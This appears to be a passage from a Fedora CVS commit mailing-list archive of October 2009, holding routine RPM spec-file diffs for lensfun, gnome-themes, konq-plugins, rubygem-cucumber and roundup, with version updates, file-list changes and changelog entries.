RCS file: /cvs/pkgs/rpms/lensfun/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	10 Nov 2008 17:42:56 -0000	1.2
+++ .cvsignore	18 Oct 2009 17:26:48 -0000	1.3
@@ -1 +1 @@
-lensfun-0.2.3.tar.bz2
+lensfun-0.2.4.tar.bz2


Index: lensfun.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lensfun/devel/lensfun.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- lensfun.spec	25 Jul 2009 05:04:14 -0000	1.4
+++ lensfun.spec	18 Oct 2009 17:26:48 -0000	1.5
@@ -2,9 +2,9 @@
 # Fedora pkg-review: http://bugzilla.redhat.com/466764
 
 Name: lensfun
-Version: 0.2.3
+Version: 0.2.4
 Summary: A library to rectify the defects introduced by your photographic equipment
-Release: 5%{?dist} 
+Release: 1%{?dist} 
 License: LGPLv3
 Group: System Environment/Libraries
 URL: http://lensfun.berlios.de/
@@ -74,17 +74,20 @@ rm -rf %{buildroot}
 %{_docdir}/%{name}-%{version}/README
 %{_docdir}/%{name}-%{version}/*.txt
 %{_datadir}/lensfun/
-%{_libdir}/lib*.so.*
+%{_libdir}/liblensfun.so.0*
 
 %files devel
 %defattr(-,root,root,-)
 %{_docdir}/%{name}-%{version}/manual/
-%{_includedir}/*
-%{_libdir}/lib*.so
+%{_includedir}/lensfun.h
+%{_libdir}/liblensfun.so
 %{_libdir}/pkgconfig/lensfun.pc
 
 
 %changelog
+* Sun Oct 18 2009 Rex Dieter <rdieter at fedoraproject.orG> 0.2.4-1
+- lensfun-0.2.4 (#529506)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/lensfun/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	10 Nov 2008 17:42:56 -0000	1.2
+++ sources	18 Oct 2009 17:26:48 -0000	1.3
@@ -1 +1 @@
-c5c04be4f53e3eef450ff4948d8f65b3  lensfun-0.2.3.tar.bz2
+ce5c25fc708d1c629d485fbf959dc1cc  lensfun-0.2.4.tar.bz2



From rdieter at fedoraproject.org  Sun Oct 18 17:31:57 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 18 Oct 2009 17:31:57 +0000 (UTC)
Subject: rpms/lensfun/F-11 .cvsignore, 1.2, 1.3 lensfun.spec, 1.3,
	1.4 sources, 1.2, 1.3
Message-ID: <20091018173157.1C29111C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/lensfun/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30145

Modified Files:
	.cvsignore lensfun.spec sources 
Log Message:
* Sun Oct 18 2009 Rex Dieter <rdieter at fedoraproject.orG> 0.2.4-1
- lensfun-0.2.4 (#529506)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/lensfun/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	10 Nov 2008 17:42:56 -0000	1.2
+++ .cvsignore	18 Oct 2009 17:31:56 -0000	1.3
@@ -1 +1 @@
-lensfun-0.2.3.tar.bz2
+lensfun-0.2.4.tar.bz2


Index: lensfun.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lensfun/F-11/lensfun.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- lensfun.spec	25 Feb 2009 12:54:51 -0000	1.3
+++ lensfun.spec	18 Oct 2009 17:31:56 -0000	1.4
@@ -2,9 +2,9 @@
 # Fedora pkg-review: http://bugzilla.redhat.com/466764
 
 Name: lensfun
-Version: 0.2.3
+Version: 0.2.4
 Summary: A library to rectify the defects introduced by your photographic equipment
-Release: 4%{?dist} 
+Release: 1%{?dist} 
 License: LGPLv3
 Group: System Environment/Libraries
 URL: http://lensfun.berlios.de/
@@ -74,17 +74,23 @@ rm -rf %{buildroot}
 %{_docdir}/%{name}-%{version}/README
 %{_docdir}/%{name}-%{version}/*.txt
 %{_datadir}/lensfun/
-%{_libdir}/lib*.so.*
+%{_libdir}/liblensfun.so.0*
 
 %files devel
 %defattr(-,root,root,-)
 %{_docdir}/%{name}-%{version}/manual/
-%{_includedir}/*
-%{_libdir}/lib*.so
+%{_includedir}/lensfun.h
+%{_libdir}/liblensfun.so
 %{_libdir}/pkgconfig/lensfun.pc
 
 
 %changelog
+* Sun Oct 18 2009 Rex Dieter <rdieter at fedoraproject.orG> 0.2.4-1
+- lensfun-0.2.4 (#529506)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/lensfun/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	10 Nov 2008 17:42:56 -0000	1.2
+++ sources	18 Oct 2009 17:31:56 -0000	1.3
@@ -1 +1 @@
-c5c04be4f53e3eef450ff4948d8f65b3  lensfun-0.2.3.tar.bz2
+ce5c25fc708d1c629d485fbf959dc1cc  lensfun-0.2.4.tar.bz2



From mclasen at fedoraproject.org  Sun Oct 18 17:54:26 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sun, 18 Oct 2009 17:54:26 +0000 (UTC)
Subject: rpms/gnome-themes/F-12 .cvsignore, 1.84, 1.85 gnome-themes.spec,
	1.148, 1.149 sources, 1.89, 1.90
Message-ID: <20091018175426.155AF11C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-themes/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1819

Modified Files:
	.cvsignore gnome-themes.spec sources 
Log Message:
add xdg folder icons



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-themes/F-12/.cvsignore,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- .cvsignore	22 Sep 2009 20:34:37 -0000	1.84
+++ .cvsignore	18 Oct 2009 17:54:25 -0000	1.85
@@ -1 +1 @@
-gnome-themes-2.28.0.tar.bz2
+mist-folders-xdg.tar.gz


Index: gnome-themes.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-themes/F-12/gnome-themes.spec,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- gnome-themes.spec	22 Sep 2009 20:34:37 -0000	1.148
+++ gnome-themes.spec	18 Oct 2009 17:54:25 -0000	1.149
@@ -1,9 +1,11 @@
 Summary: Themes for GNOME
 Name: gnome-themes
 Version: 2.28.0
-Release:1%{?dist}
+Release:2%{?dist}
 URL: http://download.gnome.org/sources/gnome-themes/
 Source: http://download.gnome.org/sources/gnome-themes/2.28/%{name}-%{version}.tar.bz2
+# Icons done by Andreas Nilsson for http://live.gnome.org/GnomeArt/ArtRequests/issue26
+Source2: mist-folders-xdg.tar.gz
 License: LGPLv2 and GPLv2
 Group: User Interface/Desktops
 BuildArch: noarch
@@ -51,6 +53,11 @@ rm -f $RPM_BUILD_ROOT%{_datadir}/themes/
 # Remove the test theme
 rm -rf $RPM_BUILD_ROOT%{_datadir}/themes/ClearlooksTest/
 
+# Put extra Mist folder icons in place
+tar xzf %{SOURCE2}
+cp mist-folders-xdg/16x16/*.png $RPM_BUILD_ROOT%{_datadir}/icons/Mist/16x16/places
+cp mist-folders-xdg/24x24/*.png $RPM_BUILD_ROOT%{_datadir}/icons/Mist/24x24/places
+
 # we want to own the icon caches
 for dir in $RPM_BUILD_ROOT%{_datadir}/icons/*; do
   touch $dir/icon-theme.cache
@@ -97,6 +104,9 @@ done
 %doc AUTHORS COPYING NEWS README
 
 %changelog
+* Sun Oct 18 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
+- Add xdg folder icons to Mist
+
 * Tue Sep 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-themes/F-12/sources,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- sources	22 Sep 2009 20:34:37 -0000	1.89
+++ sources	18 Oct 2009 17:54:25 -0000	1.90
@@ -1 +1,2 @@
+6278dc97106caaeece4dbeac417aab14  mist-folders-xdg.tar.gz
 c89c3e08e45c4e94d76a9a7d40b74214  gnome-themes-2.28.0.tar.bz2



From rdieter at fedoraproject.org  Sun Oct 18 18:24:41 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 18 Oct 2009 18:24:41 +0000 (UTC)
Subject: rpms/konq-plugins/F-11 konq-plugins.spec,1.30,1.31
Message-ID: <20091018182441.7482C11C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/konq-plugins/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7359

Modified Files:
	konq-plugins.spec 
Log Message:
* Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
- BR: webkitpart-devel
- use %find_lang --all-names --with-kde
- Requires: kdebase4%{_?isa} >= %version



Index: konq-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/konq-plugins/F-11/konq-plugins.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- konq-plugins.spec	6 Sep 2009 16:11:27 -0000	1.30
+++ konq-plugins.spec	18 Oct 2009 18:24:41 -0000	1.31
@@ -2,7 +2,7 @@
 
 Name:           konq-plugins
 Version:        4.3.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Additional plugins that interact with konqueror
 
 Group:          Applications/Internet
@@ -11,12 +11,13 @@ URL:            http://extragear.kde.org
 Source0:        ftp://ftp.kde.org/pub/kde/stable/%{version}/src/extragear/konq-plugins-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: kdebase4-devel >= %{version}
 BuildRequires: cmake
 BuildRequires: gettext
+BuildRequires: kdebase4-devel >= %{version}
+BuildRequires: webkitpart-devel
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
-Requires: kdebase4 >= 4.2
+Requires: kdebase4%{?_isa} >= %{version} 
 
 %description
 Some additional plugins that interact with konqueror
@@ -61,6 +62,9 @@ rm -rf %{buildroot}
 
 make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
 
+%if 1
+%find_lang %{name} --all-name --with-kde
+%else
 # locale
 for locale in adblock akregator_konqplugin autorefresh babelfish crashesplugin \
   dirfilterplugin domtreeviewer \
@@ -82,6 +86,7 @@ for lang_dir in %{buildroot}${HTML_DIR}/
   fi
 done
 fi
+%endif
 
 
 %clean
@@ -110,22 +115,29 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %doc COPYING COPYING.DOC COPYING.LIB README
 %{_kde4_bindir}/fsview
 %{_datadir}/config/translaterc
+# co-owned with kdepim, since there's no shared dep
 %{_kde4_appsdir}/akregator/
-%{_kde4_appsdir}/dolphinpart/kpartplugins/
+%{_kde4_appsdir}/dolphinpart/kpartplugins/*
 %{_kde4_appsdir}/domtreeviewer/
 %{_kde4_appsdir}/fsview/
 %{_kde4_appsdir}/khtml/kpartplugins/*
-%{_kde4_appsdir}/konqueror/icons/oxygen/*/actions/google.*
+%{_kde4_appsdir}/konqueror/icons/*
 %{_kde4_appsdir}/konqueror/kpartplugins/*
 %{_kde4_appsdir}/konqueror/opensearch/*
 %{_kde4_appsdir}/webkitpart/kpartplugins/*
 %{_kde4_datadir}/config.kcfg/validators.kcfg
-%{_kde4_datadir}/kde4/services/*
+%{_kde4_datadir}/kde4/services/*.desktop
+%{_kde4_datadir}/kde4/services/ServiceMenus/*.desktop
 %{_kde4_iconsdir}/hicolor/*/*/*
 %{_kde4_iconsdir}/oxygen/*/*/*
-%{_kde4_libdir}/kde4/*
+%{_kde4_libdir}/kde4/*.so
 
 %changelog
+* Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
+- BR: webkitpart-devel
+- use %%find_lang --all-names --with-kde
+- Requires: kdebase4%%{_?isa} >= %%version
+
 * Tue Sep 01 2009 Sebastian Vahl <svahl at fedoraproject.org> - 4.3.1-1
 - 4.3.1
 - use scriplet for HTML docdirs
@@ -133,8 +145,8 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 * Tue Aug 11 2009 Sebastian Vahl <fedora at deadbabylon.de> 4.3.0-1
 * KDE 4.3.0
 
-* Wed Jun  3 2009 Luk?? Tinkl <ltinkl at redhat.com> - 4.2.4-1
-- KDE 4.2.4
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.2.3-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
 * Fri May 08 2009 Rex Dieter <rdieter at fedoraproject.org> 4.2.3-1
 - 4.2.3



From rdieter at fedoraproject.org  Sun Oct 18 18:25:28 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 18 Oct 2009 18:25:28 +0000 (UTC)
Subject: rpms/konq-plugins/F-10 konq-plugins.spec,1.20,1.21
Message-ID: <20091018182528.EBB5611C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/konq-plugins/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7496

Modified Files:
	konq-plugins.spec 
Log Message:
* Tue Sep 01 2009 Sebastian Vahl <svahl at fedoraproject.org> - 4.3.1-1
- 4.3.1
- use scriplet for HTML docdirs



Index: konq-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/konq-plugins/F-10/konq-plugins.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- konq-plugins.spec	6 Sep 2009 16:11:27 -0000	1.20
+++ konq-plugins.spec	18 Oct 2009 18:25:28 -0000	1.21
@@ -2,7 +2,7 @@
 
 Name:           konq-plugins
 Version:        4.3.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Additional plugins that interact with konqueror
 
 Group:          Applications/Internet
@@ -11,12 +11,13 @@ URL:            http://extragear.kde.org
 Source0:        ftp://ftp.kde.org/pub/kde/stable/%{version}/src/extragear/konq-plugins-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: kdebase4-devel >= %{version}
 BuildRequires: cmake
 BuildRequires: gettext
+BuildRequires: kdebase4-devel >= %{version}
+BuildRequires: webkitpart-devel
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
-Requires: kdebase4 >= 4.2
+Requires: kdebase4%{?_isa} >= %{version} 
 
 %description
 Some additional plugins that interact with konqueror
@@ -61,6 +62,9 @@ rm -rf %{buildroot}
 
 make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
 
+%if 1
+%find_lang %{name} --all-name --with-kde
+%else
 # locale
 for locale in adblock akregator_konqplugin autorefresh babelfish crashesplugin \
   dirfilterplugin domtreeviewer \
@@ -82,6 +86,7 @@ for lang_dir in %{buildroot}${HTML_DIR}/
   fi
 done
 fi
+%endif
 
 
 %clean
@@ -110,22 +115,29 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 %doc COPYING COPYING.DOC COPYING.LIB README
 %{_kde4_bindir}/fsview
 %{_datadir}/config/translaterc
+# co-owned with kdepim, since there's no shared dep
 %{_kde4_appsdir}/akregator/
-%{_kde4_appsdir}/dolphinpart/kpartplugins/
+%{_kde4_appsdir}/dolphinpart/kpartplugins/*
 %{_kde4_appsdir}/domtreeviewer/
 %{_kde4_appsdir}/fsview/
 %{_kde4_appsdir}/khtml/kpartplugins/*
-%{_kde4_appsdir}/konqueror/icons/oxygen/*/actions/google.*
+%{_kde4_appsdir}/konqueror/icons/*
 %{_kde4_appsdir}/konqueror/kpartplugins/*
 %{_kde4_appsdir}/konqueror/opensearch/*
 %{_kde4_appsdir}/webkitpart/kpartplugins/*
 %{_kde4_datadir}/config.kcfg/validators.kcfg
-%{_kde4_datadir}/kde4/services/*
+%{_kde4_datadir}/kde4/services/*.desktop
+%{_kde4_datadir}/kde4/services/ServiceMenus/*.desktop
 %{_kde4_iconsdir}/hicolor/*/*/*
 %{_kde4_iconsdir}/oxygen/*/*/*
-%{_kde4_libdir}/kde4/*
+%{_kde4_libdir}/kde4/*.so
 
 %changelog
+* Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
+- BR: webkitpart-devel
+- use %%find_lang --all-names --with-kde
+- Requires: kdebase4%%{_?isa} >= %%version
+
 * Tue Sep 01 2009 Sebastian Vahl <svahl at fedoraproject.org> - 4.3.1-1
 - 4.3.1
 - use scriplet for HTML docdirs
@@ -133,8 +145,8 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 * Tue Aug 11 2009 Sebastian Vahl <fedora at deadbabylon.de> 4.3.0-1
 * KDE 4.3.0
 
-* Wed Jun  3 2009 Luk?? Tinkl <ltinkl at redhat.com> - 4.2.4-1
-- KDE 4.2.4
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.2.3-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
 * Fri May 08 2009 Rex Dieter <rdieter at fedoraproject.org> 4.2.3-1
 - 4.2.3



From lkundrak at fedoraproject.org  Sun Oct 18 18:29:16 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Sun, 18 Oct 2009 18:29:16 +0000 (UTC)
Subject: rpms/rubygem-cucumber/EL-5 rubygem-cucumber.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091018182916.F23E511C00E8@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/rubygem-cucumber/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8022

Modified Files:
	.cvsignore sources 
Added Files:
	rubygem-cucumber.spec 
Log Message:
Initial import


--- NEW FILE rubygem-cucumber.spec ---
%global ruby_sitelib %(ruby -rrbconfig -e "puts Config::CONFIG['sitelibdir']")
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname cucumber
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:        Tool to execute plain-text documents as functional tests
Name:           rubygem-%{gemname}
Version:        0.4.2
Release:        1%{?dist}
Group:          Development/Languages
License:        MIT
URL:            http://cukes.info
Source0:        http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:       ruby(abi) = 1.8
Requires:       rubygems
Requires:       rubygem(term-ansicolor) >= 1.0.3
Requires:       rubygem(treetop) >= 1.2.5
Requires:       rubygem(polyglot) >= 0.2.5
Requires:       rubygem(diff-lcs) >= 1.1.2
Requires:       rubygem(builder) >= 2.1.2
BuildRequires:  rubygems
BuildArch:      noarch
Provides:       rubygem(%{gemname}) = %{version}

%description
Cucumber lets software development teams describe how software should behave
in plain text. The text is written in a business-readable domain-specific
language and serves as documentation, automated tests and development-aid.


%prep


%build


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{gemdir}
gem install --local --install-dir $RPM_BUILD_ROOT%{gemdir} \
        --force --rdoc %{SOURCE0}
mkdir -p $RPM_BUILD_ROOT/%{_bindir}
mv $RPM_BUILD_ROOT%{gemdir}/bin/* $RPM_BUILD_ROOT/%{_bindir}
rmdir $RPM_BUILD_ROOT%{gemdir}/bin
find $RPM_BUILD_ROOT%{geminstdir}/bin -type f |xargs chmod a+x

# Remove zero-length documentation files
find $RPM_BUILD_ROOT%{gemdir}/doc/%{gemname}-%{version} -empty -delete


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%{_bindir}/cucumber
%dir %{geminstdir}
%{geminstdir}/bin
%{geminstdir}/features
%{geminstdir}/gem_tasks
%{geminstdir}/lib
%{geminstdir}/rails_generators
%{geminstdir}/spec
%{geminstdir}/cucumber.yml
%{geminstdir}/cucumber.gemspec
%{geminstdir}/Rakefile
%{geminstdir}/.git*
%doc %{geminstdir}/examples
%doc %{gemdir}/doc/%{gemname}-%{version}
%doc %{geminstdir}/History.txt
%doc %{geminstdir}/Manifest.txt
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%doc %{geminstdir}/VERSION.yml
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec


%changelog
* Sun Oct 18 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.4.2-1
- Newer release

* Mon Oct 12 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.4.0-1
- Newer release

* Fri Jun 26 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-3
- Get rid of duplicate files (thanks to Mamoru Tasaka)

* Mon Jun 08 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-2
- Use geminstdir macro where appropriate
- Do not move examples around
- Depend on ruby(abi)
- Replace defines with globals

* Fri Jun 05 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-1
- Package generated by gem2rpm
- Move examples into documentation
- Remove empty files
- Fix up License


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-cucumber/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:49:20 -0000	1.1
+++ .cvsignore	18 Oct 2009 18:29:16 -0000	1.2
@@ -0,0 +1 @@
+cucumber-0.4.2.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-cucumber/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:49:20 -0000	1.1
+++ sources	18 Oct 2009 18:29:16 -0000	1.2
@@ -0,0 +1 @@
+c6e1c97c4476aa5271180b5a5983e3e4  cucumber-0.4.2.gem



From stingray at fedoraproject.org  Sun Oct 18 18:30:23 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 18:30:23 +0000 (UTC)
Subject: rpms/roundup/devel .cvsignore, 1.7, 1.8 roundup.spec, 1.19,
	1.20 sources, 1.7, 1.8 bts518768-disable-editcsv.patch, 1.1,
	NONE roundup-setup.patch, 1.1, NONE
Message-ID: <20091018183023.A318D11C029A@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/extras/rpms/roundup/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8432

Modified Files:
	.cvsignore roundup.spec sources 
Removed Files:
	bts518768-disable-editcsv.patch roundup-setup.patch 
Log Message:
roundup-1.4.10-1


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/roundup/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	3 Oct 2008 13:52:48 -0000	1.7
+++ .cvsignore	18 Oct 2009 18:30:23 -0000	1.8
@@ -1 +1 @@
-roundup-1.4.6.tar.gz
+roundup-1.4.10.tar.gz


Index: roundup.spec
===================================================================
RCS file: /cvs/extras/rpms/roundup/devel/roundup.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- roundup.spec	27 Jul 2009 03:09:10 -0000	1.19
+++ roundup.spec	18 Oct 2009 18:30:23 -0000	1.20
@@ -2,16 +2,14 @@
 
 Summary: Simple and flexible issue-tracking system
 Name: roundup
-Version: 1.4.6
-Release: 6%{dist}
+Version: 1.4.10
+Release: 1%{dist}
 License: MIT
 Group: Applications/Engineering
 Source: http://pypi.python.org/packages/source/r/%{name}/%{name}-%{version}.tar.gz
 Source1: roundup.conf
 Source2: roundup
 Source3: README.Fedora
-Patch0: roundup-setup.patch
-Patch1: bts518768-disable-editcsv.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 BuildRequires: python-devel
@@ -29,8 +27,6 @@ Yee in the Software Carpentry "Track" de
 
 %prep
 %setup -q
-%patch0 -p1
-%patch1 -p1
 
 mv locale/ru.po locale/ru-koi8.po
 iconv -f koi8-r -t utf-8 locale/ru-koi8.po | sed -e 's|Content-Type: text/plain; charset=koi8-r|Content-Type: text/plain; charset=utf-8|' > locale/ru.po
@@ -83,6 +79,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc README.Fedora COPYING.txt
 
 %changelog
+* Sun Oct 18 2009 Paul P. Komkoff Jr <i at stingr.net> - 1.4.10-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.6-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/roundup/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	3 Oct 2008 13:52:48 -0000	1.7
+++ sources	18 Oct 2009 18:30:23 -0000	1.8
@@ -1 +1 @@
-e364bb8026761829752ffec76e33065f  roundup-1.4.6.tar.gz
+d58f877d4031aecdf5ebd8920211f48a  roundup-1.4.10.tar.gz


--- bts518768-disable-editcsv.patch DELETED ---


--- roundup-setup.patch DELETED ---



From stingray at fedoraproject.org  Sun Oct 18 18:39:23 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 18:39:23 +0000 (UTC)
Subject: rpms/roundup/F-10 .cvsignore, 1.7, 1.8 roundup.spec, 1.15,
	1.16 sources, 1.7, 1.8 bts518768-disable-editcsv.patch, 1.1,
	NONE roundup-setup.patch, 1.1, NONE
Message-ID: <20091018183923.28D1311C00E8@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/extras/rpms/roundup/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10369/F-10

Modified Files:
	.cvsignore roundup.spec sources 
Removed Files:
	bts518768-disable-editcsv.patch roundup-setup.patch 
Log Message:
roundup-1.4.10-1


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/roundup/F-10/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	3 Oct 2008 13:52:48 -0000	1.7
+++ .cvsignore	18 Oct 2009 18:39:22 -0000	1.8
@@ -1 +1 @@
-roundup-1.4.6.tar.gz
+roundup-1.4.10.tar.gz


Index: roundup.spec
===================================================================
RCS file: /cvs/extras/rpms/roundup/F-10/roundup.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- roundup.spec	9 Mar 2009 17:47:32 -0000	1.15
+++ roundup.spec	18 Oct 2009 18:39:22 -0000	1.16
@@ -2,16 +2,14 @@
 
 Summary: Simple and flexible issue-tracking system
 Name: roundup
-Version: 1.4.6
-Release: 4%{dist}
+Version: 1.4.10
+Release: 1%{dist}
 License: MIT
 Group: Applications/Engineering
 Source: http://pypi.python.org/packages/source/r/%{name}/%{name}-%{version}.tar.gz
 Source1: roundup.conf
 Source2: roundup
 Source3: README.Fedora
-Patch0: roundup-setup.patch
-Patch1: bts518768-disable-editcsv.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 BuildRequires: python-devel
@@ -29,8 +27,6 @@ Yee in the Software Carpentry "Track" de
 
 %prep
 %setup -q
-%patch0 -p1
-%patch1 -p1
 
 mv locale/ru.po locale/ru-koi8.po
 iconv -f koi8-r -t utf-8 locale/ru-koi8.po | sed -e 's|Content-Type: text/plain; charset=koi8-r|Content-Type: text/plain; charset=utf-8|' > locale/ru.po
@@ -74,7 +70,7 @@ rm -rf $RPM_BUILD_ROOT
 %files -f %{name}.lang
 %{_bindir}/*
 %{python_sitelib}/*
-%{_datadir}/roundup/*
+%{_datadir}/roundup/
 %{_mandir}/man1/*
 %defattr(-,root,root)
 %config(noreplace) %{_initrddir}/roundup
@@ -83,6 +79,15 @@ rm -rf $RPM_BUILD_ROOT
 %doc README.Fedora COPYING.txt
 
 %changelog
+* Sun Oct 18 2009 Paul P. Komkoff Jr <i at stingr.net> - 1.4.10-1
+- new upstream version
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.6-6
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Tue Mar 31 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.4.6-5
+- fix unowned directory (#473661)
+
 * Mon Mar  9 2009 Paul P. Komkoff Jr <i at stingr.net> - 1.4.6-4
 - security bug bz#489355
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/roundup/F-10/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
